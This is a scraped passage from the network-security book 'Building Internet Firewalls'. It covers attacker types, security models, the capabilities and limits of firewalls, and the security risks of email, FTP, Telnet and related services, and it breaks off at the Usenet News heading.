Like joyriders and vandals, score keepers may prefer sites of particular interest. Breaking into something well-known, well-defended, or otherwise especially neat is usually worth more points to them. However, they'll also attack anything they can get at; they're going for quantity as well as quality. They don't have to want anything you've got, or care in the least about the characteristics of your site. They may or may not do damage on the way through. They'll certainly gather information and keep it for later use (perhaps using it to barter with other attackers). They'll probably try to leave themselves ways to get back in later. And, if at all possible, they'll use your machines as a platform to attack others.

These people are the ones you discover long after they've broken in to your system. You may find out slowly, because something's odd about your machine. Or you'll find out when another site or a law enforcement agency calls up because your system is being used to attack other places. Or you'll find out when somebody sends you a copy of your own private data, which they've found on a cracked system on the other side of the world.

1.2.2.4 Spies (Industrial and Otherwise)

Most people who break into computers do so for the same reason people climb mountains - because they're there. While these people are not above theft, they usually steal things that are directly convertible into money or further access (e.g., credit card, telephone, or network access information). If they find secrets they think they can sell, they may try to do so, but that's not their main business.

As far as anybody knows, serious computer-based espionage is much rarer, outside of traditional espionage circles. (That is, if you're a professional spy, there are probably other professional spies watching you and your computers). Espionage is much more difficult to detect than run-of-the-mill break-ins, however. Information theft need not leave any traces at all, and even intrusions are relatively rarely detected immediately. Somebody who breaks in, copies data, and leaves without disturbing anything is quite likely get away with it at most sites.

In practical terms, most organizations can't prevent spies from succeeding. The precautions that governments take to protect sensitive information on computers are complex, expensive, and cumbersome; therefore they are used on only the most critical resources. These precautions include electromagnetic shielding, careful access controls, and absolutely no connections to unsecured networks.

What can you do to protect against attackers of this kind? You can ensure that your Internet connection isn't the easiest way for a spy to gather information. You don't want some kid to break into your computers and find something that immediately appears to be worth trying to sell to spies; you don't want your competitors to be trivially able to get to your data; and you do want to make it expensive and risky to spy on you. Some people say it's unreasonable to protect data from network access when somebody could get it easily by coming to your site physically. We don't agree; physical access is generally more expensive and more risky for an attacker than network access.

1.2.3 Stupidity and Accidents

Most disasters are not caused through ill will; they're accidents or stupid mistakes. One recent study estimates that 55% of all security incidents actually result from naive or untrained users doing things they shouldn't.[1]

[1] Richard Power, Current and Future Danger: A CSI Primer on Computer Crime and Information Warfare, San Francisco, CA: Computer Security Institute, 1995.

Denial of service incidents, for example, frequently aren't attacks at all. Apple's corporate electronic mail was rendered nonfunctional for several days (and their network provider was severely inconvenienced) by an accident involving a single mail message sent from a buggy mail server to a large mailing list. The mail resulted in a cascade of hundreds of thousands of error messages. The only hostile person involved was the system administrator, who wasn't hostile until he had to clean up the resulting mess.

Similarly, it's not uncommon for companies to destroy their own data, or release it to the world, by accident. Firewalls aren't designed to deal with this kind of problem. In fact there is no known way to protect yourself from either accidents or stupidity. Unfortunately, whether people are attacking you on purpose, or are simply making mistakes, the results are quite similar. (Hence the saying, "Never ascribe to malice that which can adequately be explained by stupidity.") When you protect yourself against evil-doers, you also help protect yourself against the more common, but equally devastating, unintentional or well-intentioned error.

Previous: 1.1 What Are You Trying to Protect? | Building Internet Firewalls | Next: 1.3 How Can You Protect Your Site?
1.1 What Are You Trying to Protect? | Book Index | 1.3 How Can You Protect Your Site?


[Chapter 1] 1.3 How Can You Protect Your Site?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 1.2 What Are You Trying To Protect Against? Chapter 1
Why Internet Firewalls? 		Next: 1.4 What Is an Internet Firewall?

1.3 How Can You Protect Your Site?

What approaches can you take to protect against the kinds of attacks we've outlined in this chapter? People choose a variety of security models, or approaches, ranging from no security at all, through what's called "security through obscurity" and host security, to network security.

1.3.1 No Security

The simplest possible approach is to put no effort at all into security, and run with whatever minimal security your vendor provides you by default. If you're reading this book, you've probably already rejected this model.

1.3.2 Security Through Obscurity

Another possible security model is the one commonly referred to as "security through obscurity." With this model, a system is presumed to be secure simply because (supposedly) nobody knows about it - its existence, contents, security measures, or anything else. This approach seldom works for long; there are just too many ways to find an attractive target.

Many people assume that even though attackers can find them, they won't bother to. They figure that a small company or a home machine just isn't going to be of interest to intruders. In fact, many intruders aren't aiming at particular targets; they just want to break into as many machines as possible. To them, small companies and home machines simply look like easy targets. They probably won't stay long, but they will attempt to break in, and they may do considerable damage if they do get in while they try to cover their tracks.

To function on any network, the Internet included, a site has to do at least a minimal amount of registration, and much of this registration information is available to anyone, just for the asking. Every time a site uses services on the network, someone - at the very least, whoever is providing the service - will know they're there. Intruders watch for new connections, in the hope that these sites won't yet have security measures in place. Some sites have reported automated probes apparently based on new site registrations.

You'd probably be amazed at how many different ways someone can determine security-sensitive information about your site. For example, knowing what hardware and software you have and what version of the operating system you're running gives intruders important clues about what security holes they might try. They can often get this information from your host registration, or by trying to connect to your computer. Many computers disclose their type of operating system in the greeting you get before you log in, so an intruder doesn't need access to get it.

Intruders have a lot of time on their hands, and can often avoid having to figure out obscure facts by simply trying all the possibilities. In the long run, relying on obscurity is not a smart security choice.

1.3.3 Host Security

Probably the most common model for computer security is host security. With this model, you enforce the security of each host machine separately, and you make every effort to avoid or alleviate all the known security problems that might affect that particular host. What's wrong with host security? It's not that it doesn't work on individual machines; it's that it doesn't scale to large numbers of machines.

The major impediment to effective host security in modern computing environments is the complexity and diversity of those environments. Most modern environments include machines from multiple vendors, each with its own operating system, and each with its own set of security problems. Even if the site has machines from only one vendor, different releases of the same operating system often have significantly different security problems. Even if all these machines are from a single vendor and run a single release of the operating system, different configurations (different services enabled, and so on) can bring different subsystems into play (and into conflict) and lead to different sets of security problems. And, even if the machines are all absolutely identical, the sheer number of them at some sites can make securing them all difficult. It takes a significant amount of up-front and ongoing work to effectively implement and maintain host security. Even with all that work done correctly, host security still often fails due to bugs in vendor software, or due to a lack of suitably secure software for some required functions.

Host security also relies on the good intentions and the skill of everyone who has privileged access to any machine. As the number of machines increases, the number of privileged users generally increases as well. Securing a machine is much more difficult than attaching it to a network, so insecure machines may appear on your network as unexpected surprises. The mere fact that it is not supposed to be possible to buy or connect machines without consulting you is immaterial; people develop truly innovative purchasing and network-connection schemes if they feel the need.

A host security model may be highly appropriate for small sites, or sites with extreme security requirements. Indeed, all sites should include some level of host security in their overall security plans. Even if you adopt a network security model, as we describe in the next section, certain systems in your configuration will benefit from the strongest host security. For example, even if you have built a firewall around your internal network and systems, there will be certain systems exposed to the outside world that need host security. (We discuss this in detail in Chapter 5, Bastion Hosts.) The problem is, the host security model alone just isn't cost-effective for any but small or simple sites; making it work requires too many restrictions and too many people.

1.3.4 Network Security

As environments grow larger and more diverse, and as securing them on a host-by-host basis grows more difficult, more sites are turning to a network security model. With a network security model, you concentrate on controlling network access to your various hosts and the services they offer, rather than on securing them one by one. Network security approaches include building firewalls to protect your internal systems and networks, using strong authentication approaches (such as one-time passwords), and using encryption to protect particularly sensitive data as it transits the network.

A site can get tremendous leverage from its security efforts by using a network security model. For example, a single network firewall of the type we discuss in this book can protect hundreds, thousands, or even tens of thousands of machines against attack from networks beyond the firewall, regardless of the level of host security of the individual machines.

NOTE: Although this book concentrates on network security, please note that we aren't suggesting you ignore host security. As mentioned above, you should apply the strongest possible host security measures to your most important machines, especially to those machines that are directly connected to the Internet. You'll also want to consider using host security on your internal machines in general, to address security problems other than attacks from the Internet.

1.3.5 No Security Model Can Do It All

No security model can solve all your problems. No security model - short of "maximum security prison" - can prevent a hostile person with legitimate access from purposefully damaging your site or taking confidential information out of it. To get around powerful host and network security measures, a legitimate user can simply use physical methods. These may range from pouring soda into your computers to carrying sensitive memos home. You can protect yourself from accidents and ignorance internally, and from malicious external acts, but you cannot protect yourself from your legitimate users without severely damaging their ability to use their computers. Spies succeed in breaching government security with depressing regularity despite regulations and precautions well beyond the resources and tolerance of civilians.

No security model can take care of management problems; computer security will not keep your people from wasting time, annoying each other, or embarrassing you. Sites often get sucked into trying to make security protect against these things. When people are wasting time reading Usenet news, annoying each other by playing tricks with window systems, and embarrassing the company with horrible email, computer security looks like a promising technological solution that avoids difficult issues. Unfortunately, a security model won't work here. It is expensive and difficult to even try to solve these problems with computer security, and you are once again in the impossible situation of trying to protect yourself from legitimate users.

No security model provides perfect protection. You can expect to make break-ins rare, brief, and inexpensive, but you can't expect to avoid them altogether. Even the most secure and dedicated sites expect to have a security incident every few years.[2]

[2] You can impress a security expert by saying you've only been broken into once in the last five years; if you say you've never been broken into, they stop being impressed and decide that either you can't detect break-ins, or you haven't been around long enough for anyone to try seriously!

Why bother, then? Security may not prevent every single incident, but it can keep an incident from seriously damaging or even shutting down your business. At one high-profile company with multiple computer facilities, a manager complained that his computer facility was supposed to be the most secure, but it got broken into along with several others. The difference was that the break-in was the first one that year for his facility; the intruder was present for only eight minutes; and the computer facility was off the Internet for only 12 hours (from 6 P.M. to 6 A.M.), after which it resumed business as usual with no visible interruption in service to the company's customers. For one of the other facilities, it was the fourth time; the intruder was present for months before being detected; recovery required taking the facility down for four days; and they had to inform customers that they had shipped them tapes containing possibly contaminated software. Proper security made the difference between an annoying occurrence and a devastating one.

Previous: 1.2 What Are You Trying To Protect Against? | Building Internet Firewalls | Next: 1.4 What Is an Internet Firewall?
1.2 What Are You Trying To Protect Against? | Book Index | 1.4 What Is an Internet Firewall?


[Chapter 1] 1.4 What Is an Internet Firewall?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 1.3 How Can You Protect Your Site? Chapter 1
Why Internet Firewalls? 		Next: 2. Internet Services

1.4 What Is an Internet Firewall?

As we've mentioned, firewalls are a very effective type of network security. This section briefly describes what Internet firewalls can do for your overall site security. Chapter 4, Firewall Design describes the various types of firewalls in use today, and the other chapters in Part II describe the details of building those firewalls.

In building construction, a firewall is designed to keep a fire from spreading from one part of the building to another. In theory, an Internet firewall serves a similar purpose: it prevents the dangers of the Internet from spreading to your internal network. In practice, an Internet firewall is more like a moat of a medieval castle than a firewall in a modern building. It serves multiple purposes:

  • It restricts people to entering at a carefully controlled point.

  • It prevents attackers from getting close to your other defenses.

  • It restricts people to leaving at a carefully controlled point.

An Internet firewall is most often installed at the point where your protected internal network connects to the Internet, as shown in Figure 1.1.

Figure 1.1: A firewall usually separates an internal network from the Internet

All traffic coming from the Internet or going out from your internal network passes through the firewall. Because it does, the firewall has the opportunity to make sure that this traffic is acceptable.

What does "acceptable" mean to the firewall? It means that whatever is being done - email, file transfers, remote logins, or any kinds of specific interactions between specific systems - conforms to the security policy of the site. Security policies are different for every site; some are highly restrictive and others fairly open, as we'll discuss in Chapter 11.

Logically, a firewall is a separator, a restricter, an analyzer. The physical implementation of the firewall varies from site to site. Most often, a firewall is a set of hardware components - a router, a host computer, or some combination of routers, computers, and networks with appropriate software. There are various ways to configure this equipment; the configuration will depend upon a site's particular security policy, budget, and overall operations.

A firewall is very rarely a single physical object, although some of the newest commercial products attempt to put everything into the same box. Usually, a firewall has multiple parts, and some of these parts may do other tasks besides function as part of the firewall. Your Internet connection is almost always part of your firewall. Even if you have a firewall in a box, it isn't going to be neatly separable from the rest of your site; it's not something you can just drop in.

We've compared a firewall to the moat of a medieval castle, and like a moat, a firewall is not invulnerable. It doesn't protect against people who are already inside; it works best if coupled with internal defenses; and, even if you stock it with alligators, people sometimes manage to swim across. A firewall is also not without its drawbacks; building one requires significant expense and effort, and the restrictions it places on insiders can be a major annoyance.

Given the limitations and drawbacks of firewalls, why would anybody bother to install one? Because a firewall is the most effective way to connect a network to the Internet and still protect that network. The Internet presents marvelous opportunities. Millions of people are out there exchanging information. The benefits are obvious: the chances for publicity, customer service, and information gathering. The popularity of the information superhighway is increasing everybody's desire to get out there. The risks should also be obvious: any time you get millions of people together, you get crime; it's true in a city, and it's true on the Internet. Any superhighway is fun only while you're in a car. If you have to live or work by the highway, it's loud, smelly, and dangerous.

How can you benefit from the good parts of the Internet without being overwhelmed by the bad? Just as you'd like to drive on a highway without suffering the nasty effects of putting a freeway off-ramp into your living room, you need to carefully control the contact that your network has to the Internet. A firewall is a tool for doing that, and in most situations, it's the single most effective tool for doing that.

There are other uses of firewalls. For example, they can be used as firewalls in a building that divide parts of a site from each other when these parts have distinct security needs (and we'll discuss these uses in passing, as appropriate). The focus of this book, however, is on firewalls as they're used between a site and the Internet.

Firewalls offer significant benefits, but they can't solve every security problem. The following sections briefly summarize what firewalls can and cannot do to protect your systems and your data.

1.4.1 What Can a Firewall Do?

Firewalls can do a lot for your site's security. In fact, some advantages of using firewalls extend even beyond security, as described below.

1.4.1.1 A firewall is a focus for security decisions

Think of a firewall as a choke point. All traffic in and out must pass through this single, narrow checkpoint. A firewall gives you an enormous amount of leverage for network security because it lets you concentrate your security measures on this checkpoint: the point where your network connects to the Internet.

Focusing your security in this way is far more efficient than spreading security decisions and technologies around, trying to cover all the bases in a piecemeal fashion. Although firewalls can cost tens of thousands of dollars to implement, most sites find that concentrating the most effective security hardware and software at the firewall is less expensive and more effective than other security measures - and certainly less expensive than having inadequate security.

1.4.1.2 A firewall can enforce security policy

Many of the services that people want from the Internet are inherently insecure. The firewall is the traffic cop for these services. It enforces the site's security policy, allowing only "approved" services to pass through and those only within the rules set up for them.

For example, one site's management may decide that certain services such as Sun's Network File System (NFS) and Network Information Services (formerly known as Yellow Pages) (NIS/YP) are simply too risky to be used across the firewall. It doesn't matter what system tries to run them or what user wants them. The firewall will keep potentially dangerous services strictly inside the firewall. (There, they can still be used for insiders to attack each other, but that's outside of the firewall's control.) Another site might decide that only one internal system can communicate with the outside world. Still another site might decide to allow access from all systems of a certain type, or belonging to a certain group; the variations in site security policies are endless.

A firewall may be called upon to help enforce more complicated policies. For example, perhaps only certain systems within the firewall are allowed to transfer files to and from the Internet; by using other mechanisms to control which users have access to those systems, you can control which users have these capabilities. Depending on the technologies you choose to implement your firewall, a firewall may have a greater or lesser ability to enforce such policies.

1.4.1.3 A firewall can log Internet activity efficiently

Because all traffic passes through the firewall, the firewall provides a good place to collect information about system and network use - and misuse. As a single point of access, the firewall can record what occurs between the protected network and the external network.

1.4.1.4 A firewall limits your exposure

Although this point is most relevant to the use of internal firewalls, which we describe in Chapter 4, it's worth mentioning here. Sometimes, a firewall will be used to keep one section of your site's network separate from another section. By doing this, you keep problems that impact one section from spreading through the entire network. In some cases, you'll do this because one section of your network may be more trusted than another; in other cases, because one section is more sensitive than another. Whatever the reason, the existence of the firewall limits the damage that a network security problem can do to the overall network.

1.4.2 What Can't a Firewall Do?

Firewalls offer excellent protection against network threats, but they aren't a complete security solution. Certain threats are outside the control of the firewall. You need to figure out other ways to protect against these threats by incorporating physical security, host security, and user education into your overall security plan. Some of the weaknesses of firewalls are discussed below.

1.4.2.1 A firewall can't protect you against malicious insiders

A firewall might keep a system user from being able to send proprietary information out of an organization over a network connection; so would simply not having a network connection. But that same user could copy the data onto disk, tape, or paper and carry it out of the building in his or her briefcase.

If the attacker is already inside the firewall - if the fox is inside the henhouse - a firewall can do virtually nothing for you. Inside users can steal data, damage hardware and software, and subtly modify programs without ever coming near the firewall. Insider threats require internal security measures, such as host security and user education. Such topics are beyond the scope of this book.

1.4.2.2 A firewall can't protect you against connections that don't go through it

A firewall can effectively control the traffic that passes through it; however, there is nothing a firewall can do about traffic that doesn't pass through it. For example, what if the site allows dial-in access to internal systems behind the firewall? The firewall has absolutely no way of preventing an intruder from getting in through such a modem.

Sometimes, technically expert users or system administrators set up their own "back doors" into the network (such as a dial-up modem connection), either temporarily or permanently, because they chafe at the restrictions that the firewall places upon them and their systems. The firewall can do nothing about this. It's really a people-management problem, not a technical problem.

1.4.2.3 A firewall can't protect against completely new threats

A firewall is designed to protect against known threats. A well-designed one may also protect against new threats. (For example, by denying any but a few trusted services, a firewall will prevent people from setting up new and insecure services.) However, no firewall can automatically defend against every new threat that arises. Periodically people discover new ways to attack, using previously trustworthy services, or using attacks that simply hadn't occurred to anyone before. You can't set up a firewall once, and expect it to protect you forever. (See Chapter 12, Maintaining Firewalls for advice on keeping your firewall up to date.)

1.4.2.4 A firewall can't protect against viruses

Firewalls can't keep PC and Macintosh viruses out of a network. Although many firewalls scan all incoming traffic to determine whether it is allowed to pass through to the internal network, the scanning is mostly for source and destination addresses and port numbers, not for the details of the data. Even with sophisticated packet filtering or proxying software, virus protection in a firewall is not very practical. There are simply too many types of viruses and too many ways a virus can hide within data.

Detecting a virus in a random packet of data passing through a firewall is very difficult; it requires:

  • Recognizing that the packet is part of a program

  • Determining what the program should look like

  • Determining that the change is because of a virus

Even the first of these is a challenge. Most firewalls are protecting machines of multiple types with different executable formats. A program may be a compiled executable or a script (e.g., a UNIX shell script, or a HyperCard stack), and many machines support multiple, compiled executable types. Furthermore, most programs are packaged for transport, and are often compressed as well. Packages being transferred via email or Usenet news will also have been encoded into ASCII in different ways.

For all of these reasons, users may end up bringing viruses behind the firewall, no matter how secure that firewall is. Even if you could do a perfect job of blocking viruses at the firewall, however, you still haven't addressed the virus problem. You've done nothing about the far more common sources of viruses: software downloaded from dial-up bulletin-board systems, software brought in on floppies from home or other sites, and even software that comes pre-infected from manufacturers are more common than virus-infected software on the Internet. Whatever you do to address those threats will also address the problem of software transferred through the firewall.

The most practical way to address the virus problem is through host-based virus protection software, and user education concerning the dangers of viruses and precautions to take against them.

1.4.3 Buying Versus Building

Until recently, if a site wanted a firewall, they had little choice but to design and build it themselves (perhaps with their own staff, or perhaps by hiring a consultant or contractor). Over the last few years, however, more and more commercial firewall offerings have reached the market. These products continue to grow in number and functionality at an astounding rate, and many sites may find that one of these products suits their needs.

In deciding whether or not a particular commercial firewall product will meet your needs, you have to understand what your needs are. Even if you decide to buy a firewall, you still need to understand a fair bit about how they're built and how they work in order to make an informed purchasing decision. Many sites spend as much or more effort evaluating commercial firewall products as they would building their own firewall.

We're not saying that nobody should buy a firewall, or that everybody should build their own. Our point is merely that it's not necessarily any easier to buy than it is to build; it all depends on your particular situation, and what resources you have at your disposal. Sites with money to spend but little staff time or expertise available often find buying an attractive solution, while sites with expertise and time but little money often find building more attractive.

Just what expertise do you need to design and build your own firewall? Like everything else, it depends; it depends on what services you want to provide, what platforms you're using, what your security concerns are, and so on. To install most of the tools described in this book, you need basic Internet skills to obtain the tools, and basic system administration skills to configure, compile, and install them. If you don't know what those skills are, you probably don't have them; you can obtain them, but that's beyond the scope of this book.

Some people feel uncomfortable using software that's freely available on the Internet, particularly for security-critical applications. We feel that the advantages outweigh the disadvantages. You may not have the "guarantees" offered by vendors, but you have the ability to inspect the source code and to share information with the large community that helps to maintain the software. In practice, vendors come and go, but the community endures. The packages we discuss in this book are widely used; many of the largest sites on the Internet base their firewalls on them. These packages reflect years of real-life experience with the Internet and its risks.

Furthermore, while it's perfectly possible to build a firewall consisting solely of freely available software, there's no reason to feel that it's all or nothing; freely available tools provide a valuable complement to purchased solutions. Buying a firewall shouldn't make you reluctant to supplement with freely available tools, and building one shouldn't make you reluctant to supplement with purchased tools. Don't rule out a product just because it's commercial, or just because it's freely available. Truly excellent products with great support appear in both categories, as do poorly thought out products with no support.

Previous: 1.3 How Can You Protect Your Site? | Building Internet Firewalls | Next: 2. Internet Services
1.3 How Can You Protect Your Site? | Book Index | 2. Internet Services


[Chapter 2] Internet Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 1.4 What Is an Internet Firewall? Chapter 2 Next: 2.2 File Transfer

2. Internet Services

Contents:
Electronic Mail
File Transfer
Remote Terminal Access and Command Execution
Usenet News
The World Wide Web
Other Information Services
Information About People
Real-Time Conferencing Services
Name Service
Network Management Services
Time Service
Network File Systems
Window Systems
Printing Systems

In Chapter 1, Why Internet Firewalls? we discussed, in general terms, what you're trying to protect when you connect to the Internet: your data, your resources, and your reputation. In designing an Internet firewall, your concerns are more specific; what you need to protect are those services you're going to use or provide over the Internet.

There are a number of standard Internet services that users want and that most sites try to support. There are important reasons to use these services; indeed, without them, there is little reason to be connected to the Internet at all. But there are also potential security problems with each of them.

What services do you want to support at your site? Which ones can you support securely? Every site is different. Every site has its own security policy and its own working environment. For example, do all your users need electronic mail? Do they all need to transfer files outside your organization? How about downloading files from sites outside the organization's own network? Who should be able to log in remotely from another location over the Internet?

This chapter briefly summarizes the major Internet services your users may be interested in using. It provides only a high-level summary (details are given in Chapter 8, Configuring Internet Services). None of these services are really secure; each one has its own security weaknesses, and each has been exploited in various ways by attackers. Before you decide to support a service at your site, you will have to assess how important it is to your users and whether you will be able to protect them from its dangers. There are various ways of doing this: running the services only on certain protected machines, using especially secure variants of the standard services; or, in some cases, blocking the services completely to or from some or all outside systems.

This chapter doesn't list every Internet service - it can't. Such a list would be incomplete as soon as it was finished, and would include services of interest only to a few sites in the world. Instead, we attempt to list the major services, and we hope this book will give you the background you need to make decisions about new services as you encounter them.

Managers and system administrators together need to decide which services to support at your site and to what extent. Chapter 8 describes what is necessary to support these services securely once you've decided to provide them, and the decisions you may need to make about them when building your site's firewall.

Getting Started with Internet Services

Are you just getting connected? Or, have you been connected for a while but are getting concerned about Internet security? Where should you start? Many system administrators try to be too ambitious. If you attempt to develop and deploy the be-all and end-all of firewall systems right from day one, you probably aren't going to succeed. The field is just too complex, and the technology is changing so fast that it will change out from under you before you get such an endeavor "finished."

Start small. At many sites, it boils down to six basic services. If you can provide these services securely, most of your users will be satisfied, at least for a while.

  • Electronic mail (SMTP)

  • File transfer (FTP)

  • Usenet news (NNTP)

  • Remote terminal access (Telnet)

  • World Wide Web access (HTTP)

  • Hostname/address lookup (DNS): users generally don't use this service directly, but it underlies the other five services by translating Internet hostnames to IP addresses and vice versa.

All six of these services can be safely provided in a number of different ways, including packet filtering and proxies - firewall approaches discussed in Part II of this book. Providing these services lets your users access most Internet resources, and it buys you time to figure out how to provide the rest of the services they'll be asking for soon, such as Archie, Gopher, WAIS, and other information services.

2.1 Electronic Mail

Electronic mail is one of the most popular and basic network services. It's relatively low risk, but that doesn't mean it's risk free. Forging electronic mail is trivial (just as is forging regular postal mail), and forgeries facilitate two different types of attacks: attacks against your reputation and social manipulation attacks (e.g., attacks in which users are sent mail purporting to come from an administrator and advising them to change to a specific password). Accepting electronic mail ties up computer time and disk space, opening you up for denial of service attacks, although with proper configuration, only email service will be denied. Particularly with modern multimedia mail systems, people can send electronic mail containing programs that run with insufficient supervision and may turn out to be Trojan horses.

Although people worry most about the last risk mentioned above, in practice the most common problems with electronic mail are inadvertent floods (including chain letters) and people who put entirely inappropriate confidence in the confidentiality of electronic mail and send proprietary data via electronic mail across the Internet. However, as long as users are educated, and the mail service is isolated from other services so that inadvertent or purposeful denial of service attacks shut down as little as possible, electronic mail is reasonably safe.

Simple Mail Transfer Protocol (SMTP) is the Internet standard protocol for sending and receiving electronic mail. SMTP itself is not usually a security problem, but SMTP servers can be. A program that delivers mail to users often needs to be able to run as any user that might receive mail. This gives it broad power and makes it a tempting target for attackers.

The most common SMTP server on UNIX is Sendmail. Sendmail has been exploited in a number of break-ins, including the Internet worm, which makes people nervous about using it. Many of the available replacements, however, are not clearly preferable to Sendmail; the evidence suggests they are less exploited because they are less popular, not because they are less vulnerable. There are exceptions in programs designed explicitly for security, but these don't support all the functions necessary to send and receive arbitrary mail messages; some things are still best handled by Sendmail running in a secured space.

Previous: 1.4 What Is an Internet Firewall? | Building Internet Firewalls | Next: 2.2 File Transfer
1.4 What Is an Internet Firewall? | Book Index | 2.2 File Transfer


[Chapter 2] 2.2 File Transfer

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.1 Electronic Mail Chapter 2
Internet Services 		Next: 2.3 Remote Terminal Access and Command Execution

2.2 File Transfer

Electronic mail transfers data from place to place, but it's designed for small files, in human-readable form. Electronic mail transfer protocols are allowed to make changes in a message that are acceptable to humans (for instance, inserting ">" before the word "from" at the beginning of a line, so that the mailer doesn't get it confused with a header line), but are unacceptable to programs.[1]

[1] Inserting ">" before "from" is so common that some published books still contain the occasional ">from" in the text, where the ">" was inserted as authors exchanged drafts via electronic mail.

Although electronic mail systems these days include elaborate workarounds for such problems, so that a large binary file may be split into small pieces and encoded on the sending side and decoded and reassembled on the receiving side, the workarounds are cumbersome and error prone. Also, people may want to actively go out and look for files, instead of waiting for someone to send them. Therefore, even when electronic mail is available it's useful to have a method designed for transferring files on request.

File Transfer Protocol (FTP) is the Internet standard protocol for this purpose. In theory, allowing your users to bring files in is not an increase of risk over allowing electronic mail; in fact, some sites offer services allowing you to access FTP via email. In practice, however, people will do more file transfers when FTP is available, and are more likely to bring in undesirable programs and data.

What makes these programs and data undesirable? The primary worry at most sites is that users will bring in Trojan horse software. Although this can happen, actually the larger concern is that users will bring in computer games, pirated software, and pornographic pictures, which tend to take up an annoying amount of time and disk space, but don't represent a major security risk. If you make sure to do the following, then you can consider inbound FTP to be a reasonably safe service that eases access to important Internet resources:

  • Educate your users to appropriately mistrust any software they bring in via FTP.

  • Communicate to users your site's guidelines about sexual harassment policies and organizational resource usage.

How about the other side of the coin: allowing other people to use FTP to transfer files from your computers? This is somewhat riskier. Anonymous FTP is an extremely popular mechanism for giving remote users access to files without having to give them full access to your machine. If you run an FTP server, you can let users retrieve files you've placed in a separate, public area of your system without letting them log in and potentially get access to everything on your system. Your site's anonymous FTP area can be your organization's public archive of papers, standards, software, graphics images, and information of other kinds that people need from you or that you want to share with them. For many organizations, establishing an FTP site is the first step towards doing business on the Internet.

To get access to the files you've made available, users log into your system using FTP with the special login name "anonymous." Most sites request that users enter their own email address, in response to the password prompt, as a courtesy so that the site can track who is using the anonymous FTP server, but this requirement is rarely enforced (mostly because there is no easy way to verify the validity of an email address).

In setting up an anonymous FTP server, you'll need to ensure that people who use it can't get access to other areas or files on the system, and that they can't use FTP to get shell-level access to the system itself. Writable directories in the anonymous FTP area are a special concern, as we'll see in Chapter 8.

You'll also need to ensure that your users don't use the server inappropriately. It can be very tempting for people to put up files that they want specific people to read. Many times people don't realize that anybody on the Internet can read them, or they do realize this, but believe in security through obscurity. Unfortunately for these innocents, a number of tools attempt to index anonymous FTP servers, and they succeed in removing most of the obscurity.

You may have heard of other file transfer protocols. Trivial File Transport Protocol (TFTP) is a simplified FTP protocol that diskless machines use to transfer information. It's extremely simple so that it can be built into hardware, and therefore supports no authentication. There's no reason to provide TFTP access outside of your network; ordinary users don't transfer files with TFTP.

UUCP (UNIX to UNIX CoPy) is an older file transfer protocol used over modems, and it is sometimes still used for the transfer of Usenet news and email even over the Internet, particularly by sites with intermittent Internet connections. Such sites use UUCP-over-TCP to obtain their email from their service provider whenever they bring their network connection up. While it used to be common, few sites now provide anonymous UUCP service for file access. As a file transfer protocol, it is of interest only to people who don't have an Internet connection and use modems. Unless your entire business involves providing information for downloading, UUCP is probably not useful for your external users.

File Service Protocol (FSP) is a file transfer protocol developed for circumventing FTP restrictions. Ordinary users can't set up FTP servers, but they can set up FSP servers, and FSP transfers will go through when FTP transfers have been blocked. There are two disadvantages in setting up an FSP server:

  • Security is not a particular concern to the designers and users of FSP; although it shouldn't inherently reduce the security of your machine, it's susceptible to the same kinds of bugs as FTP, and fewer attempts have been made to avoid or fix them.

  • Providing FSP service is not going to make friends for you among remote system administrators, since the point of FSP is to allow people to transfer files after their sites have decided to block file transfers.

FSP does have some actual advantages over FTP - being designed for stealth makes it a very sparing user of resources - but there are almost no legitimate FSP users, and its history makes it unlikely there will be many.

Within a site, you may want to use rcp to transfer files between systems. rcp (described in Chapter 8 with the rest of the so-called "Berkeley `r' commands") is a file transfer program that behaves like an extended version of the UNIX cp command. It is inappropriate for use across the Internet, because it uses a trusted host authentication model. Rather than requiring user authentication on the remote machine, it looks at the IP address of the host the request is coming from. Unfortunately, you can't know that packets are really coming from that host.

Previous: 2.1 Electronic Mail | Building Internet Firewalls | Next: 2.3 Remote Terminal Access and Command Execution
2.1 Electronic Mail | Book Index | 2.3 Remote Terminal Access and Command Execution


[Chapter 2] 2.3 Remote Terminal Access and Command Execution

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.2 File Transfer Chapter 2
Internet Services 		Next: 2.4 Usenet News

2.3 Remote Terminal Access and Command Execution

Programs that provide remote terminal access allow you to use a remote system as if it were a directly attached terminal.

Telnet is the standard for remote terminal access on the Internet. It truly imitates a terminal, not a graphics workstation; it provides access to character-based applications only. Telnet allows you to provide remote access for your users from any Internet-connected site without making special arrangements.

Telnet was once considered a fairly secure service because it requires users to authenticate themselves. Unfortunately, Telnet sends all of its information unencrypted, which makes it extremely vulnerable to sniffing and hijacking attacks. For this reason, Telnet is now considered one of the most dangerous services when used to access your site from remote systems. (Accessing remote systems from your site is their security problem, not yours.) Telnet is safe only if the remote machine and all networks between it and the local machine are safe. This means that Telnet is not safe across the Internet, where you can't reliably identify the intervening networks, much less trust them. On the other hand, Telnet can be extremely useful - and extremely cost-effective - as a remote access mechanism if your users frequently travel to Internet-connected sites. In places where using a modem is expensive, difficult, and slow, using an existing Internet connection via Telnet may be the best available solution. For this practical reason, you may need to provide Telnet service, but with caution.

There are various kinds of authentication schemes for doing remote logins (in particular, see the discussion of one-time passwords in Chapter 10, Authentication and Inbound Services), but although authentication protects your password, you may still find that your session can be tapped or hijacked. Chapter 8 describes in detail the dangers of Telnet and the ways you can increase the safety of this service, particularly with a packet filtering firewall.

There are programs besides Telnet that can be used for remote terminal access and remote execution of programs - most notably rlogin, rsh, and on. These programs are used in a trusted environment to allow users remote access without having to re-authenticate themselves. The host they're connecting to trusts the host they're coming from to have correctly authenticated the user. The trusted host model is simply inappropriate for use across the Internet, because you generally cannot trust hosts outside your network. In fact, you can't even be sure the packets are coming from the host they say they are.

rlogin and rsh may be appropriate for use within a network protected by a firewall, depending on your internal security policies. on, however, places all of its security checks in the client program, and anyone can use a modified client that bypasses these checks, so on is completely insecure for use even within a local area network protected by firewall (it lets any user run any command as any other user). You disable on by disabling the rexd server, as we'll describe in Chapter 5, Bastion Hosts.

Previous: 2.2 File Transfer | Building Internet Firewalls | Next: 2.4 Usenet News
2.2 File Transfer | Book Index | 2.4 Usenet News


[Chapter 2] 2.4 Usenet News

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 2.3 Remote Terminal Access and Command Execution Chapter 2
